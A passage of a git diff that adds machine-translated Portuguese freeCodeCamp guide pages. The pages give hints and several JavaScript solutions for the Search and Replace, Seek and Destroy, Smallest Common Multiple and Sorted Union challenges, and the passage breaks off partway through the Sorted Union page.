+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Encontre o índice onde `before` está na string.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+*   Verifique o primeiro caso de letras.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+*   As strings são imutáveis, você precisará salvar as edições em outra variável, mesmo se precisar reutilizar a mesma para fazer com que pareça que as alterações foram feitas usando apenas essa variável.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function myReplace(str, before, after) { 
+  // Find index where before is on string 
+  var index = str.indexOf(before); 
+  // Check to see if the first letter is uppercase or not 
+  if (str[index] === str[index].toUpperCase()) { 
+    // Change the after word to be capitalized before we use it. 
+    after = after.charAt(0).toUpperCase() + after.slice(1); 
+  } 
+  // Now replace the original str with the edited one. 
+  str = str.replace(before, after); 
+ 
+  return str; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmo/0)
+
+### Explicação do código:
+
+*   Use `indexOf()` para encontrar o local de **antes** em string.
+*   Se a primeira letra de **antes** for maiúscula, mude a primeira letra de **depois** para maiúscula.
+*   Substitua **antes** na cadeia por **depois** .
+*   Retorna a nova string.
+
+#### Links Relevantes
+
+*   [Índice de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-indexof/15936)
+*   [Protótipo de seqüência JS ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [Caráter Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-charat/15932)
+*   [Fatia de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-slice/15943)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function myReplace(str, before, after) { 
+ //Create a regular expression object 
+  var re = new RegExp(before,"gi"); 
+ //Check whether the first letter is uppercase or not 
+  if(/[AZ]/.test(before[0])){ 
+  //Change the word to be capitalized 
+    after = after.charAt(0).toUpperCase()+after.slice(1); 
+     } 
+     //Replace the original word with new one 
+  var  newStr =  str.replace(re,after); 
+ 
+ return newStr; 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmp/0)
+
+### Explicação do código:
+
+*   Nesta solução, a expressão regular `[AZ]` é usada para verificar se o caractere é maiúsculo.
+*   Crie um novo objeto de expressão regular, **re** .
+*   Se a primeira letra de **antes** for maiúscula, altere a primeira letra **depois** para maiúscula.
+*   Substitua **antes** por **depois** na cadeia.
+*   Retorna a nova string.
+
+#### Links Relevantes
+
+*   Recursos JS Regex
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function myReplace(str, before, after) { 
+ 
+    // create a function that will change the casing of any number of letter in parameter "target" 
+    // matching parameter "source" 
+    function applyCasing(source, target) { 
+        // split the source and target strings to array of letters 
+        var targetArr = target.split(""); 
+        var sourceArr = source.split(""); 
+        // iterate through all the items of sourceArr and targetArr arrays till loop hits the end of shortest array 
+        for (var i = 0; i < Math.min(targetArr.length, sourceArr.length); i++){ 
+            // find out the casing of every letter from sourceArr using regular expression 
+            // if sourceArr[i] is upper case then convert targetArr[i] to upper case 
+            if (/[AZ]/.test(sourceArr[i])) { 
+                targetArr[i] = targetArr[i].toUpperCase(); 
+            } 
+            // if sourceArr[i] is not upper case then convert targetArr[i] to lower case 
+            else targetArr[i] = targetArr[i].toLowerCase(); 
+        } 
+        // join modified targetArr to string and return 
+        return (targetArr.join("")); 
+    } 
+ 
+    // replace "before" with "after" with "before"-casing 
+    return str.replace(before, applyCasing(before, after)); 
+ } 
+ 
+ // test here 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLmq/0)
+
+### Explicação do código:
+
+*   Tanto o **antes** quanto o **depois** são passados ​​como argumentos para `applyCasing()` .
+*   A função `applyCasing()` é usada para alterar o caso dos respectivos caracteres em **targetArr** , isto é, **depois** de acordo com os caracteres de **sourceArr** , ou seja, **antes** .
+*   `replace()` é usado para substituir **antes** por **after** , cujo case é o mesmo de **antes** .
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Alternativa de Solução de Código Avançado:
+```
+// Add new method to the String object, not overriding it if one exists already 
+ String.prototype.capitalize =  String.prototype.capitalize || 
+    function() { 
+        return this[0].toUpperCase() + this.slice(1); 
+    }; 
+ 
+ const Util = (function () { 
+ // Create utility module to hold helper functions 
+    function textCase(str, tCase) { 
+        // Depending if the tCase argument is passed we either set the case of the 
+        // given string or we get it. 
+        // Those functions can be expanded for other text cases. 
+ 
+        if(tCase) { 
+            return setCase(str, tCase); 
+        } else { 
+            return getCase(str); 
+        } 
+ 
+        function setCase(str, tCase) { 
+            switch(tCase) { 
+                case "uppercase": return str.toUpperCase(); 
+                case "lowercase": return str.toLowerCase(); 
+                case "capitalized": return str.capitalize(); 
+                default: return str; 
+            } 
+        } 
+ 
+        function getCase(str) { 
+            if (str === str.toUpperCase()) { return "uppercase"; } 
+            if (str === str.toLowerCase()) { return "lowercase"; } 
+            if (str === str.capitalize()) { return "capitalized"; } 
+            return "normal"; 
+        } 
+    } 
+ 
+    return { 
+        textCase 
+    }; 
+ })(); 
+ 
+ function myReplace(str, before, after) { 
+    const { textCase } = Util; 
+    const regex = new RegExp(before, 'gi'); 
+    const replacingStr = textCase(after, textCase(before)); 
+ 
+    return str.replace(regex, replacingStr); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/@kr3at0/SearchAndReplace)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Alternativa de Solução de Código Avançado 2:
+
+```javascript
+function myReplace(str, before, after) { 
+  const myArr = str.split(' '); 
+  const [wordToReplace] = myArr.filter(item => item === before); 
+  return  wordToReplace[0].toUpperCase() !== wordToReplace[0] 
+  ? myArr.map(item => item === before ? after : item).join(' ') 
+  : myArr.map(item => item === before? after[0].toUpperCase() + after.slice(1) : item).join(' '); 
+ } 
+ 
+ // test: 
+ myReplace("A quick brown fox jumped over the lazy dog", "jumped", "leaped"); 
+```
+
+#### Links Relevantes
+
+*   [Divisão de Protótipo de Cadeia JS](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS Math Min](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+*   String.length
+*   [Protótipo de Cadeia JS ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [Junção de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
new file mode 100644
index 0000000000..0950b37bea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/seek-and-destroy/index.md
@@ -0,0 +1,126 @@
+---
+title: Seek and Destroy
+localeTitle: Procurar e destruir
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Esse problema é um pouco complicado porque você tem que se familiarizar com Arguments, já que você terá que trabalhar com dois **ou mais,** mas no script você vê apenas dois. Muitas pessoas codificam esse programa por três argumentos. Você removerá qualquer número do primeiro argumento que seja igual a qualquer outro argumento.
+
+#### Links Relevantes
+
+*   [Argumentos objeto](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Você precisa trabalhar com `arguments` como se fosse uma matriz regular. A melhor maneira é convertê-lo em um.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você precisa filtrar, isso também significa que você precisa criar uma função de retorno de chamada. Você pode usar vários métodos como: `indexOf()` , `includes()` . Se você precisar de outra abordagem, `reduce()` também pode ser útil; continue lendo esses documentos!
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Para converter `arguments` em uma matriz, use este código `var args = Array.prototype.slice.call(arguments);`
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function destroyer(arr) { 
+  var args = Array.prototype.slice.call(arguments); 
+ 
+  for (var i = 0; i < arr.length; i++) { 
+    for (var j = 0; j < args.length; j++) { 
+      if (arr[i] === args[j]) { 
+        delete arr[i]; 
+      } 
+    } 
+  } 
+  return arr.filter(Boolean); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLjU/95)
+
+### Explicação do código:
+
+1.  Crie uma matriz de `arguments` usando `Array.prototype.slice.call()` e armazene-a na variável `args` . Nós vamos usar isso para verificar contra `arr` .
+    
+2.  Iniciar um loop básico `for` iterar através de `arr` . Nest outro `for` laço no interior do primeiro, mudando o número inteiro variável `j` e arr para args. Este segundo loop irá iterar através de `args` .
+    
+    *   Dentro do segundo loop crie uma instrução `if` , verificando estritamente `===` que a val corrente de `arr[i]` é igual a `args[j]` .
+        
+    *   Se o valor no índice atual _for_ igual nos dois arrays, use `delete` para removê-lo de `arr` .
+        
+3.  Fora dos loops aninhados: retorne o array modificado usando o objeto `Boolean` como um filtro para qualquer `null` criado pelo operador `delete` .
+    
+
+#### Links Relevantes
+
+*   \[argumentos
+*   [Array.filter ()](http://forum.freecodecamp.com/t/javascript-array-prototype-filter/14289)
+*   [excluir](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/delete)
+*   [boleano](http://forum.freecodecamp.com/t/javascript-boolean/14311)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function destroyer(arr) { 
+  var args = Array.from(arguments).slice(1); 
+  return arr.filter(function(val) { 
+    return !args.includes(val); 
+  }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/Ck2m/0)
+
+### Explicação do código:
+
+1.  Declare uma variável denominada `args` e defina-a como um novo objeto `Array` `from()` os `arguments` passados ​​para a função. Na mesma linha ou na linha seguinte, use o método `slice()` em `args` a partir do segundo índice, 1. Isso separa os argumentos usados ​​para filtragem em sua própria matriz de `args` .
+    
+2.  Retorna a matriz filtrada, usando `includes()` na função callback para verificar se `val` _não_ está em `args` ; retornando `true` para manter o valor na matriz original ou `false` para removê-lo.
+    
+
+#### Links Relevantes
+
+*   [argumentos](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+*   [Array.slice ()](http://forum.freecodecamp.com/t/javascript-array-prototype-slice/14302)
+*   [Array.includes ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/includes)
+
+## Solução avançada de código:
+
+```javascript
+const destroyer = (arr, ...args) => arr.filter(i => !args.includes(i)); 
+```
+
+### Explicação do código:
+
+*   Codifique usando a sintaxe ES6 para declarar a função usando as funções de seta.
+*   Usando o operador de spread para recuperar os argumentos.
+*   Retorne a matriz filtrada, usando `includes()` .
+
+#### Links Relevantes
+
+*   [Operador de spread](https://developer.mozilla.org/pt-BR/docs/Web/JavaScript/Reference/Operators/Spread_operator)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
new file mode 100644
index 0000000000..74083d2b53
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/smallest-common-multiple/index.md
@@ -0,0 +1,221 @@
+---
+title: Smallest Common Multiple
+localeTitle: Menor Múltiplo Comum
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+O menor múltiplo comum entre dois números é o menor número que ambos os números podem dividir. Este conceito pode ser estendido para mais de dois números também.
+
+Podemos começar com apenas encontrar o menor múltiplo comum entre dois números. Ingenuamente, você pode começar a escrever múltiplos de cada número até escrever um múltiplo que exista de ambos os números.
+
+Um exemplo seria os números `3` e `4` . Os múltiplos de `3` são `3, 6, 9, 12, 15, 18, ...` e os múltiplos de `4` são `4, 8, 12, 16, 20, ...` O primeiro número menor que encontramos em ambas as listas é `12` então este é o menor múltiplo comum entre `3` e `4` .
+
+Esse problema pode ser confuso porque a maioria das pessoas procura o menor múltiplo comum de apenas os dois números, mas esquece o **intervalo de** palavras-chave. No entanto, isso significa que se você receber `[1,5]` , você deve verificar o menor múltiplo comum para todos os números `[1,2,3,4,5]` que é divisível por todos eles.
+
+#### Links Relevantes
+
+*   [Mínimo Comum (Menor) (Menor)](https://en.wikipedia.org/wiki/Least_common_multiple)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Crie uma matriz com todos os números que estão faltando na matriz original para facilitar a verificação ao verificar a divisão uniforme.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Você pode usar o operador de descanso ( `%` ) para verificar se o lembrete de uma divisão é 0, o que significa que é divisível de maneira uniforme.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Se você classificar a matriz de maior para menor, poderá usar os dois primeiros números como uma primeira verificação para o menor múltiplo comum. Isto é porque eles são mais propensos a ser o menor múltiplo comum do que os números mais baixos.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function smallestCommons(arr) { 
+  // Sort array from greater to lowest 
+  // This line of code was from Adam Doyle (http://github.com/Adoyle2014) 
+  arr.sort(function(a, b) { 
+    return b - a; 
+  }); 
+ 
+  // Create new array and add all values from greater to smaller from the 
+  // original array. 
+  var newArr = []; 
+  for (var i = arr[0]; i >= arr[1]; i--) { 
+    newArr.push(i); 
+  } 
+ 
+  // Variables needed declared outside the loops. 
+  var quot = 0; 
+  var loop = 1; 
+  var n; 
+ 
+  // Run code while n is not the same as the array length. 
+  do { 
+    quot = newArr[0] * loop * newArr[1]; 
+    for (n = 2; n < newArr.length; n++) { 
+      if (quot % newArr[n] !== 0) { 
+        break; 
+      } 
+    } 
+ 
+    loop++; 
+  } while (n !== newArr.length); 
+ 
+  return quot; 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLn2/0)
+
+### Explicação do código:
+
+*   Por causa da possibilidade do menor denominador comum estar entre os dois maiores números, faz sentido checar os primeiros, então ordene o array.
+*   Crie uma nova matriz para classificar todos os números, `newArr` .
+*   Use um loop descendente `for` ( `var i = arr[0]; i >= arr[1]; i--` ) para adicionar os números do maior ao menor no novo array.
+*   Declare as variáveis ​​para o quociente para que possamos acessá-las fora do loop:
+    *   o quociente que será nosso menor múltiplo comum ( `quot` )
+    *   o número do loop que estamos verificando ( `loop` )
+    *   o índice da matriz de números ( `n` )
+*   Use um `do` `while` loop para verificar o que precisamos, enquanto `n` não é o mesmo comprimento que a nova matriz.
+*   No `do` parte, que vai multiplicar o primeiro número, vezes o número de lacetes, vezes o segundo número ( `quot = newArr[0] * loop * newArr[1];` ).
+*   A parte do `loop` nos permitirá aumentar o número que estamos verificando além do maior número que temos sem ter que alterar o algoritmo.
+*   Nós inserimos um loop `for` que vai de `n` sendo 2 e subindo por um ( `loop++` ), enquanto é menor que o array com todos os números ( `n < newArr.length` ).
+*   Se o quociente não for dividido uniformemente ( `quot % newArr[n] !== 0` ), pare o loop ( `break;` ). Se for par, verifique os próximos elementos ( `n++` ) na matriz até que não fique nem encontramos nossa resposta.
+*   Fora do loop, aumente o valor do loop ( `loop++` ).
+*   No final do loop, retorne o quociente ( `return quot;` ).
+
+Nota: Se a matriz tem apenas dois elementos, em seguida, o `for` laço nunca se acostuma e o valor de retorno é o produto de referidos números.
+
+#### Links Relevantes
+
+*   [Tipo de Protótipo de Array JS](http://forum.freecodecamp.com/t/javascript-array-prototype-sort/14306)
+*   [JS For Loops Explained](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [Push de protótipo de matriz JS](http://forum.freecodecamp.com/t/javascript-array-prototype-push/14298)
+*   [JS Do While Loop](http://forum.freecodecamp.com/t/javascript-do-while-loop/14662)
+*   String.length
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 ":girassol:") Solução de Código Intermediário:
+```
+function smallestCommons(arr) { 
+    var range = []; 
+    for (var i = Math.max(arr[0], arr[1]); i >= Math.min(arr[0], arr[1]); i--) { 
+    range.push(i); 
+    } 
+ 
+    // can use reduce() in place of this block 
+    var lcm = range[0]; 
+    for (i = 1; i < range.length; i++) { 
+    var GCD = gcd(lcm, range[i]); 
+    lcm = (lcm * range[i]) / GCD; 
+    } 
+    return lcm; 
+ 
+    function gcd(x, y) {    // Implements the Euclidean Algorithm 
+    if (y === 0) 
+        return x; 
+    else 
+        return gcd(y, x%y); 
+    } 
+ } 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/CLn4/0)
+
+### Explicação do código:
+
+*   A primeira solução básica requer mais de 2.000 loops para calcular o caso de teste dos `smallestCommons([1,13])` e mais de 4 milhões de loops para calcular os `smallestCommons([1,25])` . Esta solução avalia os `smallestCommons([1,13])` em cerca de 20 loops e os `smallestCommons([1,25])` em 40, usando um algoritmo mais eficiente.
+*   Faça um **intervalo de** array vazio.
+*   Todos os números entre o intervalo fornecido são enviados para o **intervalo** usando um loop `for` .
+*   O próximo bloco de código implementa o algoritmo euclidiano, que é usado para encontrar os menores múltiplos comuns.
+
+#### Links Relevantes
+
+*   [Algoritmo Euclidiano](https://en.wikipedia.org/wiki/Euclidean_algorithm)
+*   [JS Math Max](http://forum.freecodecamp.com/t/javascript-math-max/14682)
+*   [JS Math Min](http://forum.freecodecamp.com/t/javascript-math-min/14684)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 ": rotating_light:") Solução avançada de código:
+```
+function smallestCommons(arr) { 
+ 
+  // range 
+  let min = Math.min.apply(null, arr); 
+  let max = Math.max.apply(null, arr); 
+ 
+  let smallestCommon = lcm(min, min + 1); 
+ 
+  while(min < max) { 
+    min++; 
+    smallestCommon = lcm(smallestCommon, min); 
+  } 
+ 
+  return smallestCommon; 
+ } 
+ 
+ /** 
+ * Calculates Greatest Common Divisor 
+ * of two nubers using Euclidean algorithm 
+ * https://en.wikipedia.org/wiki/Euclidean_algorithm 
+ */ 
+ function gcd(a, b) { 
+  while (b > 0) { 
+    let tmp = a; 
+    a = b; 
+    b = tmp % b; 
+  } 
+  return a; 
+ } 
+ 
+ /** 
+ * Calculates Least Common Multiple 
+ * for two numbers utilising GCD 
+ */ 
+ function lcm(a, b) { 
+  return (a * b / gcd(a, b)); 
+ } 
+ 
+ 
+ // test here 
+ smallestCommons([1,5]); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://repl.it/MR9P/latest)
+
+### Explicação do código:
+
+*   Extraia o mínimo e o máximo de **arr** .
+*   Initialize **smallestCommon** com o LCM dos dois primeiros números.
+*   Faça um loop pela computação de intervalo LCM do LCM atual e o próximo número no intervalo **lcm (a, b, c) = lcm (lcm (a, b), c)** .
+
+#### Links Relevantes
+
+*   [JS Function.prototype.apply ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
new file mode 100644
index 0000000000..611511c1ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/intermediate-algorithm-scripting/sorted-union/index.md
@@ -0,0 +1,209 @@
+---
+title: Sorted Union
+localeTitle: União ordenada
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+O programa deve retornar uma nova matriz de valores exclusivos de dois arrays originais na ordem em que aparecem. Portanto, não é necessário classificar e não deve haver duplicatas.
+
+#### Links Relevantes
+
+*   [Argumentos JS](http://forum.freecodecamp.com/t/javascript-arguments/14283)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+Desde que você não tem idéia de quantos parâmetros foram passados, seria melhor percorrer os **argumentos** antes de percorrer os arrays.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Não é necessário usar loops. Você pode usar funções como `map()` , `reduce()` ou outras, se desejar.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+Você terá que verificar se o valor atual já está no array a ser retornado para cada valor.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function uniteUnique(arr1, arr2, arr3) { 
+  // Creates an empty array to store our final result. 
+  var finalArray = []; 
+ 
+  // Loop through the arguments object to truly made the program work with two or more arrays 
+  // instead of 3. 
+  for (var i = 0; i < arguments.length; i++) { 
+    var arrayArguments = arguments[i]; 
+ 
